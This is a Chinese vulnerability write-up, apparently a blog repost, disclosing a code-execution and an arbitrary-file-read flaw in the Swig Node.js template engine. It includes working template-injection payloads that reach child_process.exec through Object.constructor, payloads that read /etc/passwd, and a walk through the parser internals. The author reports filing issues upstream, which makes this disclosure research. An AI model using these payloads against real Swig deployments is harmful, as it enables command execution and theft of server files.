Swig模板引擎0day挖掘-代码执行和文件读取

渗透技巧 2年前 (2023) admin
506 0 0

Swig模板

Swig是一款Node.JS的模板引擎

官方文档: https://myvin.github.io/swig.zh-CN/index.html
Github: https://github.com/node-swig/swig-templates

之前一段时间挖过swig模板,发现了一个RCE,以及一个之前的任意文件读取,之前还用这个任意读漏洞出过CTF题。swig目前应该不更新了,所以一直留着,现在觉得留着也没啥卵用,就给他们提了issue,顺便水一篇博客(能再水个CVE编号就更好了)。

刚刚仔细检查了一下,旧版本叫swig,新版是swig-templates,漏洞都是存在的,然后我debug是用的swig,不过代码变化很小,尤其是核心的模板解析和渲染的部分都是一样的。

代码执行漏洞

已提issue: https://github.com/node-swig/swig-templates/issues/89

poc

tpl.html

html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

javascript

var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);
Swig模板引擎0day挖掘-代码执行和文件读取

漏洞分析

模板渲染过程中,include.js会拼接代码

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/tags/include.js#L39-L52

Swig模板引擎0day挖掘-代码执行和文件读取

 

拼接完的代码会给到out变量

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/parser.js#L891-L899

Swig模板引擎0day挖掘-代码执行和文件读取

 

之后out值为

javascript

_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

关于为什么会生成这样的out,主要是parser.js的checkMatch()
Swig模板引擎0day挖掘-代码执行和文件读取

 

中间的逻辑很复杂,反正就是找属性、代码拼接,不好描述,这里不展开写了,整个call stack为:

gradle

checkMatch (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:419)
parseVar (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:386)
parseToken (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:286)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:86)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
TokenParser.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:76)
parseTag (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:577)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:640)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
exports.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:624)
parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:354)
precompile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:486)
compile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:606)
compileFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:696)
renderFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:570)
<anonymous> (/Users/bytedance/Desktop/swig/run.js:2)
Module._compile (internal/modules/cjs/loader:1120)
Module._extensions..js (internal/modules/cjs/loader:1174)
Module.load (internal/modules/cjs/loader:998)
Module._load (internal/modules/cjs/loader:839)

最后生成的result值为如下代码的字符串形式:

javascript

// 最外层有引号包裹,这里为了代码格式化就没写
(
    (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
        ? (
            (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
                ? _ctx.Object.constructor 
                : ""
        ) 
        : (
            (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) 
                ? Object.constructor 
                : ""
        )
)

这就很明朗了,很明显_ctx不存在Object属性,会走到三目运算符中:后面的逻辑,也就是:

javascript

(
            (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) 
                ? Object.constructor 
                : ""
        )

很明显Object是存在的,于是就最后就得到了Object.constructor,也就是Function()

接着刚才的说,out的值会被用来做一个匿名函数
Swig模板引擎0day挖掘-代码执行和文件读取

 

Swig.Swig.compile.compiled处调用pre.tpl(),这个tpl()就是刚刚创建的匿名函数
Swig模板引擎0day挖掘-代码执行和文件读取

 

跟进这个匿名函数,执行就会弹计算器:
Swig模板引擎0day挖掘-代码执行和文件读取

 

虽然很长,但是前面不用看,我们直接跟到中间的call方法,call前面的一大套还是相同的逻辑,只是多套了两层三目运算,最后返回的是依然是Object.constructorcall方法来源于Object.constructor || efn。其实根本不重要,因为不论是哪个函数,call方法最终都是继承自Function.prototype原型对象,然后call的第一个参数就是上面分析的Object.constructor,也就是Function(),第二个参数就是函数体
Swig模板引擎0day挖掘-代码执行和文件读取

 

于是乎顺理成章的通过Object.constructor创建了如下匿名函数:

javascript

(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})

接着就走到了下一个()对上述匿名函数做调用,成功逃逸沙箱,代码执行就发生了
Swig模板引擎0day挖掘-代码执行和文件读取

 

任意文件读取漏洞

已提issue: https://github.com/node-swig/swig-templates/issues/88

根据文档:

swig可以扩展模板,或包含模板,但对路径和后缀名没有做校验,因此可以实现任意文件读取

poc:

django

{% extends '/etc/passwd' %}
{% include '/etc/passwd' %}

比较简单,就不详细分析了,就是直接取到路径然后读文件然后拼接到结果的_output

 

版权声明:admin 发表于 2023年2月2日 上午10:29。
转载请注明:Swig模板引擎0day挖掘-代码执行和文件读取 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...